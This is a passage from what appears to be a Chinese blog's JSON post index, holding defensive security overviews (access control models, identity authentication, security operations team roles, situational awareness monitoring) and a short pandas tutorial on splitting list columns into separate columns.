这些技术通常以综合的方式使用，以提供更强大的恶意代码防护能力。保持技术的更新，及时应用安全补丁，以及教育用户避免潜在的风险都是有效防范恶意代码攻击的关键。\n博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-01-04-%E5%AE%89%E5%85%A8%E9%98%B2%E5%BE%A1%E4%B9%8B%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81%E4%B8%8E%E9%98%B2%E6%8A%A4%E6%8A%80%E6%9C%AF/","summary":"\u003cp\u003e恶意代码是指没有作用却会带来危险的代码。通常把未经授权便干扰或破坏计算机系统、网络功能的程序或代码（一组指令）称之为恶意程序。恶意程序包括计算机病毒、木马、蠕虫等。详见\u003ca href=\"http://xiejava.ishareread.com/posts/72d6b06f/\"\u003e《网络安全之恶意代码》\u003c/a\u003e\n恶意代码的防范，不是单靠一种或几种技术就能解决的，而要靠技术、管理以及用户安全意识的共同防范，只有三者相结合才能最大程度地防止恶意代码对系统和用户信息的破坏。\n目前，恶意代码防范方法主要分为两方面：基于主机的恶意代码防范方法和基于网络的恶意代码防范方法。\u003c/p\u003e","title":"安全防御之恶意代码与防护技术"},{"content":"授权和访问控制技术是安全防御中的重要组成部分，主要用于管理和限制对系统资源（如数据、应用程序等）的访问。授权控制用户可访问和操作的系统资源，而访问控制技术则负责在授权的基础上，确保只有经过授权的用户才能访问相应的资源。\n一、授权 授权技术通常包括身份认证和权限管理。 身份认证是验证用户身份的过程，确保用户是系统中的合法用户； 权限管理则是根据用户的角色和身份，为其分配相应的访问权限。通过授权技术，可以有效地防止非法用户或未授权的用户访问系统资源，从而保护系统的安全。 授权是确定用户访问权限的机制。用户访问权限必须始终遵循最小特权原则，该原则规定用户只拥有执行他们的作业功能所必须的访问权限，而不能拥有其他权限。为了保证网络资源在受控、合法地情况下使用，用户只能根据自己的权限大小访问系统资源，不得越权访问。\n二、访问控制 访问控制是网络安全防范和保护的主要核心策略，它的主要任务是保证网络资源不被非法使用和访问。 访问控制包括三个要素：主体、客体和控制策略。 主体S（Subject）：是指提出访问资源具体请求或某一操作动作的发起者，但不一定是动作的执行者，可能是某一用户，也可以是用户启动的进程、服务和设备等。 客体O（Object）：是指被访问资源的实体。所有可以被操作的信息、资源、对象都可以是客体。客体可以是信息、文件、记录等集合体，也可以是网络上的硬件设施、无限通信中的终端，甚至可以包含另外一个客体。 控制策略A（Attribution）：是主体对客体的相关访问规则集合，即属性集合。访问策略体现了一种授权行为，也是客体对主体某些操作行为的默认。\n1、访问控制模型 典型访问控制模型如图所示： 访问控制模型的组成\r2、访问控制的机制 访问控制机制是检测和防止系统被未授权访问，并保护资源所采取的各种措施。是在文件系统中广泛应用的安全防护方法，一般在操作系统的控制下，按照事先确定的规则决定是否允许主体访问客体，贯穿于系统全过程。 访问控制矩阵（Access Contro1 Matrix）是最初实现访问控制机制的概念模型，以二维矩阵规定主体和客体间的访问权限。行表示主体的访问权限属性，列表示客体的访问权限属性，矩阵格表示所在行的主体对所在列的客体的访问授权，空格为未授权，Y为有操作授权。以确保系统操作按此矩阵授权进行访问。通过引用监控器协调客体对主体访问，实现认证与访问控制的分离。在实际应用中，对于较大系统，由于访问控制矩阵将变得非常大，其中许多空格，造成较大的存储空间浪费，因此，较少利用矩阵方式，主要采用以下2种方法： 1）访问控制列表 访问控制列表（Access Control List，ACL）是应用在路由器接口的指令列表，用于路由器利用源地址、目的地址、端口号等的特定指示条件对数据包的抉择。是以文件为中心建立访问权限表，表中记载了该文件的访问用户名和隶属关系。利用ACL，容易判断出对特定客体的授权访问，可访问的主体和访问权限等。当将该客体的ACL置为空，可撤消特定客体的授权访问。 2）能力关系表 能力关系表（Capabilities List）是以用户为中心建立访问权限表。与ACL相反，表中规定了该用户可访问的文件名及权限，利用此表可方便地查询一个主体的所有授权。相反，检索具有授权访问特定客体的所有主体，则需查遍所有主体的能力关系表。\n3、访问控制的策略 访问控制的安全策略是指在某个自治区域内（属于某个组织的一系列处理和通信资源范畴），用于所有与安全相关活动的一套访问控制规则。访问控制的安全策略有三种类型：基于身份的安全策略、基于规则的安全策略和综合访问控制方式。\n1）基于身份的安全策略 基于身份的策略包括基于个体的策略和基于组的策略。\n基于个体的策略：一个基于个体的策略根据哪些用户可对一个目标实施哪一种行为的列表来表示。这个等价于用一个目标的访问矩阵列来描述。 基于组的策略：一个基于组的策略是基于身份的策略的另一种情形，一些用户被允许对一个目标具有同样的访问许可。 2）基于规则的安全策略 基于规则的策略包括多级策略和基于间隔的策略。 多级策略：通过分配给每个目标一个密级来操作。密级由低到高分为：无密级、限制、机密、秘密、绝密。每个用户从相同的层次中分配一个等级。 基于间隔的策略：在基于间隔的策略中，目标集合关联于安全间隔或安全类别，通过他们来分离其他目标。用户需要给一个间隔分配一个不同的等级，以便能够访问间隔中的目标。\n3）综合访问控制方式 综合访问控制策略（HAC）继承和吸取了多种主流访问控制技术的优点，有效地解决了信息安全领域的访问控制问题，保护了数据的保密性和完整性，保证授权主体能访问客体和拒绝非授权访问。综合访问控制策略主要包括：\n入网访问控制 入网访问控制是网络访问的第一层访问控制。对用户可规定所能登入到的服务器及获取的网络资源，控制准许用户入网的时间和登入入网的工作站点。 网络的权限控制 网络的权限控制是防止网络非法操作而采取的一种安全保护措施。用户对网络资源的访问权限通常用一个访问控制列表来描述。 目录级安全控制 目录级安全控制主要是为了控制用户对目录、文件和设备的访问，或指定对目录下的子目录和文件的使用权限。用户在目录一级制定的权限对所有目录下的文件仍然有效，还可进一步指定子目录的权限。 属性安全控制 属性安全控制可将特定的属性与网络服务器的文件及目录网络设备相关联。在权限安全的基础上，对属性安全提供更进一步的安全控制。网络上的资源都应先标示其安全属性，将用户对应网络资源的访问权限存入访问控制列表中，记录用户对网络资源的访问能力，以便进行访问控制。 网络服务器安全控制 网络服务器安全控制允许通过服务器控制台执行的安全控制操作包括：用户利用控制台装载和卸载操作模块、安装和删除软件等。操作网络服务器的安全控制还包括设置口令锁定服务器控制台，主要防止非法用户修改、删除重要信息。 网络监控和锁定控制 在网络系统中，通常服务器自动记录用户对网络资源的访问，如有非法的网络访问，服务器将以图形、文字或声音等形式向网络管理员报警，以便引起警觉进行审查。 网络端口和结点的安全控制 网络中服务器的端口常用自动回复器、静默调制解调器等安全设施进行保护，并以加密的形式来识别结点的身份。自动回复器主要用于防范假冒合法用户，静默调制解调器用于防范黑客利用自动拨号程序进行网络攻击。 4、访问控制技术 访问控制技术则是在授权的基础上，进一步控制用户对系统资源的访问。它根据用户的角色和权限，决定用户可以访问哪些资源以及可以进行哪些操作。常见的访问控制技术包括：\n强制访问控制（Mandatory Access Control）：这是一种基于安全策略的访问控制方法，由系统管理员设定安全级别，并按照安全级别对资源进行访问控制。 自主访问控制（Discretionary Access Control）：这是一种基于用户身份的访问控制方法，由资源的拥有者自行设定访问权限。 基于角色的访问控制（Role-Based Access Control）：这是一种基于用户角色的访问控制方法，通过将权限分配给角色，再将角色分配给用户，来实现访问控制。 1）强制访问控制技术（Mandatory Access Control） 强制访问控制（MAC），将系统中的信息分密级和类进行管理，以保证每个用户只能访问到那些被标明可以由他访问的信息的一种访问约束机制。通俗的来说，在强制访问控制下，主体与客体都被标记了固定的安全属性（如安全级、访问权限等），在每次访问发生时，系统检测安全属性以便确定该主体是否有权访问该客体。基于规则的多级策略就是一种强制访问控制策略。\n2）自主访问控制技术（Discretionary Access Control） 自主访问控制又被称为“基于身份的访问控制”，允许合法用户以用户或用户组的身份访问策略规定的客体，同时阻止非授权用户访问客体。自主访问控制模型的特点是授权的实施主体（可以授权的主体、管理授权的客体、授权组）自主负责赋予和收回其他主体对客体资源的访问权限。 在自主访问控制机制中，存取模式主要有：\n读：允许主体对客体进行读和拷贝的操作。 写：允许主体写入或修改信息，包括扩展、压缩机删除等。 执行：允许将客体作为一种可执行文件运行，在一些系统中该模式还需要同时拥有读模式。 空模式：主体对客体不具有任何的存取权。 自主访问控制的具体实施可采用以下四种方法：\n目录表 在目录表访问控制方法中，借用了系统对文件的目录管理机制，为每一个欲实施访问权限的主体建立一个能被其访问的“客体目录表（文件目录表）”。如某个主体的客体目录表可能是： 客体1 ：权限1 客体2：权限2… 客体目录表中各个客体的访问权限的修改只能由该客体的合法属主确定，不允许其他任何用户在客体目录表中进行写操作，否则将可能出现对客体访问权限的伪造。操作系统必须在客体的拥有者控制下维护所有的客体目录。 访问控制列表 访问控制列表是从客体角度进行设置的，是面向客体的访问控制。每个客体都有一个访问控制列表，用来说明有权访问该客体的所有主体及其访问权限。 访问控制矩阵 访问控制矩阵是对上面两种方法的综合，直观地看，访问控制矩阵是一张表格，每行代表一个主体，每列代表一个客体，表中纵横对应的项是该主体对该客体的访问权集合。 能力表 能力表是访问控制矩阵的改进，将矩阵的每一列作为一个客体而形成一个存取表，每个存取表只由主体、访问权集合组成。 3）基于角色的访问控制技术（Role-Based Access Control） 基于角色的访问控制（RBAC）是实施面向企业安全策略的一种有效的访问控制方式。其基本思想是：对系统操作的各种权限不是直接授予具体的用户，而是在用户集合与权限集合之间建立一个角色集合。每一种角色对应一组相应的权限。一旦用户被分配了适当的角色后，该用户就拥有此角色的所有操作权限。这样做的好处是，不必在每次创建用户时都进行分配权限的操作，只要分配用户相应的角色即可，而且角色的权限变更比用户的权限变更要少得多，这样将简化用户的权限管理，减少系统的开销。 在一个组织内部，角色是相对稳定的，而用户和权限之间的关系则是易变的，比如因用户职务变化而随之发生权限变化。通过角色，可以减少授权管理的复杂度，降低管理开销，它是传统访问控制技术的有效补充。通常角色和用户组在概念上容易混淆，它们之间有本质的区别，组是用户的集合，而角色作为中介，既是用户的集合，又是权限的集合。 在一个组织内，安全管理员可以根据完成某项工作所需的权限，创建适当的角色；然后根据用户所要完成的任务，授予不同的角色，从而授予访问权限。用户与角色，角色与权限之间关系都是多对多的关系。用户与特定的一个或多个角色相联系，角色与一个或多个访问权限相联系。用户根据自己的需求动态地激活自己拥有的角色，完成特定的任务，避免误操作造成的危害。\n授权和访问控制技术是安全防御的重要组成部分，可以有效防止未经授权的用户访问系统资源，保护系统的安全。在实际应用中，需要根据具体的安全需求和场景，选择合适的授权和访问控制技术，以达到最佳的安全防护效果。\n博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-01-03-%E5%AE%89%E5%85%A8%E9%98%B2%E5%BE%A1%E4%B9%8B%E6%8E%88%E6%9D%83%E5%92%8C%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6%E6%8A%80%E6%9C%AF/","summary":"\u003cp\u003e授权和访问控制技术是安全防御中的重要组成部分，主要用于管理和限制对系统资源（如数据、应用程序等）的访问。授权控制用户可访问和操作的系统资源，而访问控制技术则负责在授权的基础上，确保只有经过授权的用户才能访问相应的资源。\u003c/p\u003e","title":"安全防御之授权和访问控制技术"},{"content":"身份认证技术用于在计算机网络中确认操作者的身份。在计算机网络世界中，用户的身份信息是用一组特定的数据来表示的，计算机也只能识别用户的数字身份。身份认证技术能够作为系统安全的第一道防线，主要用于确认网络用户的身份，防止非法访问和恶意攻击，确保数字身份的操作者就是这个数字身份合法拥有者。\n一、基本概念 1、身份鉴别 身份鉴别是指对主客体身份进行确认的过程，也就是对网络用户在进入系统或访问受限系统资源时的身份进行识别和验证的过程。这是信息安全的第一道防线，可以确保用户身份的真实、合法和唯一性，防止非法人员进入系统。\n身份鉴别的方法：主要有三种，即基于实体所知、基于实体所有和基于实体特性。 基于实体所知的方法包括密码、验证码等，这些方法的成本低，实现简单，但面临的风险也较大，如暴力破解、木马等。 基于实体所有的方法通常涉及一些物理设备，如IC卡、门禁卡等，安全性较高，但成本也较高，并可能面临损坏和被复制的风险。基于实体特性的方法通常采用生物识别技术进行验证，如指纹、虹膜、声波等，这是安全性最高的一种方式。\n2、标识 标识认证技术是信息安全理论与技术的一个重要方面，是实现信息安全等级保护身份鉴别、访问控制的技术基础，主要包括信息认证与身份标识认证两个方面的内容。信息认证用于保护信息的完整性与抗否认性，身份标识认证则用于鉴别用户身份，限制非法用户访问资源。\n1）人的标识 身份标识认证是安全技术的一个重要方面，在用户访问文件时，必须通过某种形式的身份标识验证机制来证明他们的身份，验证用户的身份与所宣称的保持一致，才能够实现对文件的访问。用户首先经过身份标识认证才能访问安全系统，然后由安全系统根据用户身份决定用户的访问权限。\n2）网络标识 网络标识是指机器在网络中的标志信息，对一台具体的机器而言，机器的IP地址，MAC地址就是在网络中标识的。 在网络中，同一数据在不同的层有不同的标识，数据链路层的标识是MAC地址，网络层的标识是IP地址，传输层的标识就是UDP或者TCP的端口号。 主机的标识就是主机名称。在网络中，主机的名称+地址成为唯一的标识。\n3）应用标识 应用标识包括应用名，进程名称，占用端口，序列号，标准的应答方式等。\n3、口令 口令是指只有通信双方知晓的一段数据。口令是最广泛使用的一种身份鉴别方法，也是最容易实现和成本最低的用户鉴别和认证机制，但是经常会遭到攻击者的威胁： 口令字典攻击：也就是猜口令，在获得口令密文后，攻击者可以通过运用自己保存的口令字典，通过可以获得的相同的加密算法进行枚举尝试。 口令丢失：用户经常会将自己的口令分享给同事、上司或第三方工程人员。这样就失去了口令的鉴别作用。 口令嗅探：很多系统的口令在网络上都是明文传输的，比如，电子邮件，Telnet远程登录等。通过在网络关键路径上进行嗅探可以轻易地获得用户的口令。 口令文件被窃取：对口令文件的保护是口令机制的弱点。如果口令文件被窃取，可能导致大量的用户口令沦陷。\n4、挑战-响应技术 挑战-响应技术是一种常用的基于口令的身份认证技术。 基于挑战/响应方式的身份认证系统就是每次认证时，认证服务器端都给客户端发送一个不同的“挑战”字串，客户端程序收到这个“挑战”字串后，做出相应的“响应”，基于此机制系统认证过程为：\n客户端向认证服务器发出请求，要求进行身份认证； 认证服务器从用户数据库中查询用户是否是合法的用户，若不是，则不做进一步处理； 如果是合法用户，认证服务器内部产生一个随机数，作为“提问”，发送给客户端； 客户端将用户名字和随机数合并，使用单向Hash函数（例如MD5算法）生成一个应答串作为响应； 认证服务器将应答串与自己的计算结果比较，若二者相同，则通过一次认证；否则，认证失败； 认证服务器通知客户端认证成功或失败。 认证成功之后，以后的认证由客户端不定时地发起，过程中没有了客户端认证请求一步。两次认证的时间间隔不能太短，否则会给网络、客户和认证服务器带来太大的开销；也不能太长，否则不能保证用户不被他人盗用IP地址，建议时长为1-2分钟。 5、公钥认证技术 公钥认证技术使用一对加密字符串，一个称为公钥，任何人都可以看到其内容；另一个称为私钥，由用户妥善保存。公钥认证技术功能的实现在于通过公钥加密过的密文使用私钥可以轻松解密，但根据私钥来猜测密钥却十分困难。\n二、常见的身份鉴别技术 用户名/密码认证：这是一种最基本的方式，用户需要输入用户名和密码来证明自己的身份。但是，由于密码可能被破解或泄露，因此这种方式存在一定的安全隐患。 动态口令认证：这是一种更加安全的方式，用户需要输入动态生成的口令才能进入系统。这种方式可以有效地防止密码被破解或被盗用。 多因素认证：这是一种基于多种因素的认证方式，除了用户名和密码外，还需要用户提供其他信息，如手机验证码、指纹、虹膜等。这种方式可以大大提高系统的安全性。 基于角色的访问控制：这是一种基于用户角色的访问控制方式，用户只能访问自己被授权的资源。这种方式可以有效地防止未授权的访问和数据泄露。 单点登录认证：这种方式可以实现一次登录即可访问多个系统的功能，减少了用户的操作步骤，提高了工作效率。同时，这种方式也可以减少因某个系统被攻击而导致其他系统受到攻击的风险。 身份鉴别技术是保护信息安全的重要手段，不同的应用场景需要选择合适的身份鉴别技术来保证系统的安全性和稳定性。\n三、防御措施 针对身份鉴别过程中可能出现的攻击，如线路窃听和重放攻击等，需要采取相应的防御措施。例如，在口令中使用随机数可以防止攻击者通过构造特定表格（如彩虹表）来破解口令。针对重放攻击，可以在会话中引入时间戳或使用一次性口令等方式进行防御。\n身份鉴别技术是网络安全的重要组成部分，通过确认网络用户的身份，可以有效地防止非法访问和恶意攻击。同时，随着技术的发展，身份鉴别技术也在不断地进步和完善，以应对日益复杂的网络安全威胁。\n博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-01-03-%E5%AE%89%E5%85%A8%E9%98%B2%E5%BE%A1%E4%B9%8B%E8%BA%AB%E4%BB%BD%E9%89%B4%E5%88%AB%E6%8A%80%E6%9C%AF/","summary":"\u003cp\u003e身份认证技术用于在计算机网络中确认操作者的身份。在计算机网络世界中，用户的身份信息是用一组特定的数据来表示的，计算机也只能识别用户的数字身份。身份认证技术能够作为系统安全的第一道防线，主要用于确认网络用户的身份，防止非法访问和恶意攻击，确保数字身份的操作者就是这个数字身份合法拥有者。\u003c/p\u003e","title":"安全防御之身份鉴别技术"},{"content":"在应用机器学习的过程中，很大一部分工作都是在做数据的处理，一个非常常见的场景就是将一个list序列的特征数据拆成多个单独的特征数据。\n比如数据集如下所示：\n1 2 3 4 5 data = [[\u0026#39;John\u0026#39;, \u0026#39;25\u0026#39;, \u0026#39;Male\u0026#39;,[99,100,98]], [\u0026#39;Emily\u0026#39;, \u0026#39;22\u0026#39;, \u0026#39;Female\u0026#39;,[97,99,98]], [\u0026#39;Michael\u0026#39;, \u0026#39;30\u0026#39;, \u0026#39;Male\u0026#39;,[97,99,100]]] df_data= pd.DataFrame(data,columns=[\u0026#39;Name\u0026#39;, \u0026#39;Age\u0026#39;, \u0026#39;Gender\u0026#39;,\u0026#39;Score\u0026#39;]) df_data 很多场景是需要将类似于Score的list序列特征，拆成多个特征值如这里的语、数、外的分数。\n下面通过几个实例来将dataframe列中的list序列转换为多列。\n1、一维序列拆成多列 可以通过在列上应用Series来进行拆分。\n1 2 df_score=df_data[\u0026#39;Score\u0026#39;].apply(pd.Series).rename(columns={0:\u0026#39;English\u0026#39;,1:\u0026#39;Math\u0026#39;,2:\u0026#39;Chinese\u0026#39;}) df_score 可以看到将Score的数组，拆分成了English、Math、Chinese三个特征字段了\n1 2 df_data=df_data.join(df_score) df_data 2、二维序列拆成多列 用同样的思路也可以将二维序列的特征列拆成多列 如特征列是二维序列，序列里还有多个序列\n1 2 3 4 5 data = [[\u0026#39;John\u0026#39;, \u0026#39;25\u0026#39;, \u0026#39;Male\u0026#39;,[[99,100,98],[89,70]]], [\u0026#39;Emily\u0026#39;, \u0026#39;22\u0026#39;, \u0026#39;Female\u0026#39;,[[97,99,98],[99,96]]], [\u0026#39;Michael\u0026#39;, \u0026#39;30\u0026#39;, \u0026#39;Male\u0026#39;,[[97,99,100],[87,99]]]] df_data= pd.DataFrame(data,columns=[\u0026#39;Name\u0026#39;, \u0026#39;Age\u0026#39;, \u0026#39;Gender\u0026#39;,\u0026#39;Score\u0026#39;]) df_data 1 2 3 4 5 6 df_score=df_data[\u0026#39;Score\u0026#39;].apply(pd.Series) df_score_1=df_score[0].apply(pd.Series).rename(columns={0:\u0026#39;English\u0026#39;,1:\u0026#39;Math\u0026#39;,2:\u0026#39;Chinese\u0026#39;}) df_score_2=df_score[1].apply(pd.Series).rename(columns={0:\u0026#39;Biology\u0026#39;,1:\u0026#39;Geography\u0026#39;}) df_score=df_score_1.join(df_score_2) df_data=df_data.join(df_score_1).join(df_score_2) df_data 另外一种情况就是序列里面只有一个序列的二维序列，数据如下所示：\n1 2 3 4 5 data = [[\u0026#39;John\u0026#39;, \u0026#39;25\u0026#39;, \u0026#39;Male\u0026#39;,[[99,100,98,89,70]]], [\u0026#39;Emily\u0026#39;, \u0026#39;22\u0026#39;, \u0026#39;Female\u0026#39;,[[97,99,98,99,96]]], [\u0026#39;Michael\u0026#39;, \u0026#39;30\u0026#39;, \u0026#39;Male\u0026#39;,[[97,99,100,87,99]]]] df_data= pd.DataFrame(data,columns=[\u0026#39;Name\u0026#39;, \u0026#39;Age\u0026#39;, \u0026#39;Gender\u0026#39;,\u0026#39;Score\u0026#39;]) df_data 这样也可以通过多次应用Series来进行拆分，也可以先explode()再应用Series来进行拆分。\n1 2 df_score=df_data[\u0026#39;Score\u0026#39;].apply(pd.Series)[0].apply(pd.Series).rename(columns={0:\u0026#39;English\u0026#39;,1:\u0026#39;Math\u0026#39;,2:\u0026#39;Chinese\u0026#39;,3:\u0026#39;Biology\u0026#39;,4:\u0026#39;Geography\u0026#39;}) df_score 1 2 df_score=df_data[\u0026#39;Score\u0026#39;].explode().apply(pd.Series).rename(columns={0:\u0026#39;English\u0026#39;,1:\u0026#39;Math\u0026#39;,2:\u0026#39;Chinese\u0026#39;,3:\u0026#39;Biology\u0026#39;,4:\u0026#39;Geography\u0026#39;}) df_score 两者效果是一样的。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-12-26-pandas%E5%B0%86dataframe%E5%88%97%E4%B8%AD%E7%9A%84list%E8%BD%AC%E6%8D%A2%E4%B8%BA%E5%A4%9A%E5%88%97/","summary":"\u003cp\u003e在应用机器学习的过程中，很大一部分工作都是在做数据的处理，一个非常常见的场景就是将一个list序列的特征数据拆成多个单独的特征数据。\u003c/p\u003e\n\u003cp\u003e比如数据集如下所示：\u003c/p\u003e","title":"pandas将dataframe列中的list转换为多列"},{"content":"安全运营是一个持续的过程，需要不断地评估风险、监测威胁、改进措施和更新策略，以确保组织的安全性和可靠性。由人员、数据、平台（工具）、流程的共同组合构成安全运营体系。\n一、安全运营团队目标 图-安全运营团队目标\r安全运营团队是具有日常安全运营及实战化攻防对抗能力的专职安全团队，依托安全运营中心平台，有效使用各项安全工具，以标准化的作业流程驱动，开展各项安全运营活动，实现安全工作持续、主动、精细化、标准化的过程管理，通过持续有效的安全运营活动满足合规要求、降低网络安全风险、保障企业网络安全。\n二、团队人员组织架构 图-安全运营团队人员组织架构\r三、运营团队职责分工 序号 运营工作内容 运营工作子项\r频率\r所属分组\r相关职责\r备注\r1 安全资产识别与梳理 安全资产发现和识别\r按需\r安全资产管理\r对已有安全资产和新增安全资产进行管理维护，协调督促业务部门安全资产责任人进行资产数据上报、agent安装。定期对异常资产、未纳管安全资产等进行通报督促整改。\r常态化\r安全资产信息梳理与管理\r2 安全资产脆弱性管理\r安全资产脆弱性识别与管理\r对安全资产的脆弱性进行定期的识别，发布存在有脆弱性风险通知到安全资产责任人，督促整改，对脆弱性问题跟踪确认。\r3 威胁监测\r威胁监测\r按需\r监测研判\r1.对安全监测平台进行日常的监测运营工作，形成相关交付物。（运营日报、周报、月报等）\n2.对监测过程中发现的安全告警进行初步筛选，排查是否误报，对非误报告警进行安全级别判断，对判断后的安全告警进行安全事件的升级，并进行专人的研判分析。\n3.对分析后重要安全事件，进行处置组递交沟通，提供事件分析报告。并对处置执行组反馈的处置情况进行复验审核工作。\r常态化\r威胁分析与通告 持续攻击对抗 事件分析与处置 应急响应 安全运营可视化 4 人工研判 安全事件人工研判 定期安全运营汇报 5 安全问题处置 安全事件处置 按需 处置执行\r1.对研判后的安全事件进行处置操作，负责协调相关业务部门及安全资产归属单位，对网络及安全策略进行调整优化控制（含平台策略优化）。\n2.对责任部门或责任人按处置流程进行通告下发，并跟踪事件处置过程，提供处置建议与咨询。\n3. 跟踪事件处置情况，并将处置反馈情况同步监测研判组进行复验，负责对安全事件处置进行闭环，归档工作。\n常态化\r安全事件归档 安全事件报告 6 安全通告 安全事件通告 7 策略管理 策略管理 8 平台保障 现场处置协调跟踪 按需 平台保障 1.对安全运营中心平台进行日常的巡检维护，对各平台功能，告警数据采集，设备权限，性能消耗进行巡检监控，对巡检过程中发现的问题及时跟踪处理。\n2.协助处置执行组对安全事件进行处置闭环跟踪及协调工作。\n3.根据运营需求进行平台规则优化、剧本流程优化。\n常态化（平台建设方参与）\r现场故障应急处理 平台现场运营监测 平台运营日常巡检 平台规则流程优化 9 脆弱性评估与管理 漏洞、弱口令扫描\r最新漏洞预警和响应\r月/次 安全服务 1.负责漏洞管理、渗透测试、应急演练的方案整理及需求确认工作。\n2.依据各服务内容流程，负责实施相关服务。\n3.对服务过程发现安全问题进行协助处置工作，并提供处置方案。\n4.负责方案服务总结，并对发现安全问题进行分析总结，提供加固建议及安全事件处理能力的建议。\n按需，一般以服务外包的方式外包给专业团队\r漏洞协助处置 10\r渗透测试 渗透测试方案 按需\r渗透测试内容 11\r应急演练 应急演练 一年/次\r12\r风险评估 双新评估服务 一年/次\r负责双新评估、定级备案风险评估等安全风险评估服务。\r定级备案风险评估 一年/次\r13 流程优化\r运营流程及人员调整优化\r按需\r安全运营管理\r流程优化；团队管理；\r培训组织；工作汇报；\r质量审核；应急响应。\r常态化，固定负责人\r14 工作汇报\r安全监测运营汇报（月报、季报、半年报）\r15 培训组织\r培训组织\r博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-12-22-%E5%AE%89%E5%85%A8%E8%BF%90%E8%90%A5%E4%B9%8B%E5%9B%A2%E9%98%9F%E4%BA%BA%E5%91%98%E7%BB%84%E7%BB%87%E5%BB%BA%E8%AE%AE/","summary":"\u003cp\u003e安全运营是一个持续的过程，需要不断地评估风险、监测威胁、改进措施和更新策略，以确保组织的安全性和可靠性。由人员、数据、平台（工具）、流程的共同组合构成安全运营体系。\u003c/p\u003e","title":"安全运营之团队人员组织建议"},{"content":"信息安全是一个动态的过程，操作系统、应用软件、中间件，还有硬件，平台的种类越来越多，技术越来越复杂，稍有不慎就会留下安全隐患和管理漏洞，依靠客户自身的IT资源无论从技术的先进性还是方案的严密性上都越来越难以应对，企业往往由于人手或技术力量的不足，无法自如的处理各种复杂的信息安全问题。针对这种情况，就需要持续对新的安全威胁、安全漏洞进行跟踪、分析和响应。\n安全态势感知与监测是一种基于环境的、动态、整体地洞悉安全风险的能力，它以安全大数据为基础，从全局视角提升对安全威胁的发现识别、理解分析、响应处置能力的一种方式，最终是为了决策与行动，是安全能力的落地。\n目前网络安全态势感知平台系统架构如下：\n海量多元异构数据的汇聚融合技术：在大规模网络中，网络安全数据和日志数据由海量设备和多个应用系统中产生，且这些安全数据和日志数据缺乏统一标准与关联，在此基础上进行数据分析，无法得到全局精准的分析结果。 数据挖掘与智能分析技术：通过机器学习、大数据分析等技术，实现基于逻辑和知识的推理结果，从已知威胁推演未知威胁，实现对安全威胁事件的预测和判断。 威胁情报的共享与交换技术：通过建立威胁情报共享与交换平台，实现不同安全厂商、不同组织之间的威胁情报共享与交换，提高安全态势感知的准确性和效率。 一、安全监控\n安全监控应覆盖网络、安全设备、主机、数据库、应用和中间件的安全和性能监控，具体内容如下：\n类型 内容 监控方式 网络层 路由器、防火墙、IPS、WAF等 SNMP、syslog等 主机层 Windows2000/XP/2003、Solaris、AIX、HP-UX、Redhat Linux SNMP、syslog、专用数据收集代理 数据库 Oracle、MS SQL Server、Mysql、ES SNMP、syslog、专用数据收集代理 应用中间件 WebLogic、WebSphere、Jboss/Tomcat、Apache、IIS SNMP、syslog、专用数据收集代理 一般来说将需要监控的数据统一汇聚到安全态势感知平台，通过平台的采集、汇聚、分析、展现能力，实现对网络安全的统一监控和告警通知。\n二、风险感知\n风险感知是指部署相应的监测措施如态势感知平台，主动发现来自系统内外部的安全风险，具体措施包括数据采集、收集汇聚、特征提取、关联分析、状态感知等。\n数据采集 数据采集指对网络环境中各类数据进行采集，为网络异常分析、设备预测性维护等提供数据来源。 收集汇聚 对于数据的收集汇聚主要分为两个方面。一是对网络设备系统及应用系统所产生的安全告警数据进行汇聚，包括产品全生命周期的各类数据的同步采集、管理、存储及查询，为后续过程提供数据来源。二是对全网流量进行监听，并将监听过程中采集到的数据进行汇聚。 特征提取 特征提取是指对数据特征进行提取、筛选、分类、优先级排序、可读等处理，从而实现从数据到信息的转化过程，该过程主要是针对单个设备或单个网络的纵向数据分析。信息主要包括内容和情景两方面，内容指网络流量、告警日志信息等；情景指人员的操作指令、人员访问状态、登录事件、时长等。 关联分析 关联分析基于大数据进行横向大数据分析和多维分析，通过将运行机理、运行环境、操作内容、外部威胁情报等有机结合，利用群体经验预测单个设备的安全情况，或根据历史状况和当前状态的差异进行关联分析，进而发现网络及系统的异常状态。 状态感知 状态感知基于关联分析过程，实现对企业网络运行规律、异常情况、安全目标、安全态势、业务背景等的监测感知，确定安全基线，结合大数据分析等相关技术，发现潜在安全威胁、预测黑客攻击行为。 为了提高安全态势感知与监测的能力和准确性，还需要采取以下措施：\n加强数据分析和挖掘能力：通过对海量数据进行深入分析和挖掘，发现潜在的安全威胁和漏洞。 建立威胁情报共享机制：通过建立威胁情报共享机制，实现不同组织之间的信息共享和协同作战。 加强技术创新和研发：通过加强技术创新和研发，不断推出新的安全防护措施和技术手段，提高安全防护能力。 加强人员培训和管理：通过加强人员培训和管理，提高人员的安全意识和技能水平，减少人为因素对网络安全的影响。 博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-12-21-%E5%AE%89%E5%85%A8%E8%BF%90%E8%90%A5%E4%B9%8B%E6%80%81%E5%8A%BF%E6%84%9F%E7%9F%A5%E4%B8%8E%E7%9B%91%E6%B5%8B/","summary":"\u003cp\u003e信息安全是一个动态的过程，操作系统、应用软件、中间件，还有硬件，平台的种类越来越多，技术越来越复杂，稍有不慎就会留下安全隐患和管理漏洞，依靠客户自身的IT资源无论从技术的先进性还是方案的严密性上都越来越难以应对，企业往往由于人手或技术力量的不足，无法自如的处理各种复杂的信息安全问题。针对这种情况，就需要持续对新的安全威胁、安全漏洞进行跟踪、分析和响应。\u003c/p\u003e","title":"安全运营之态势感知与监测"},{"content":"安全运营是一个将技术、流程和人有机结合的复杂系统工程，通过对已有安全产品、工具和服务产出的数据进行有效的分析，持续输出价值，解决安全问题，以确保网络安全为最终目标。\n安全加固和运维是网络安全运营中的两个重要方面。 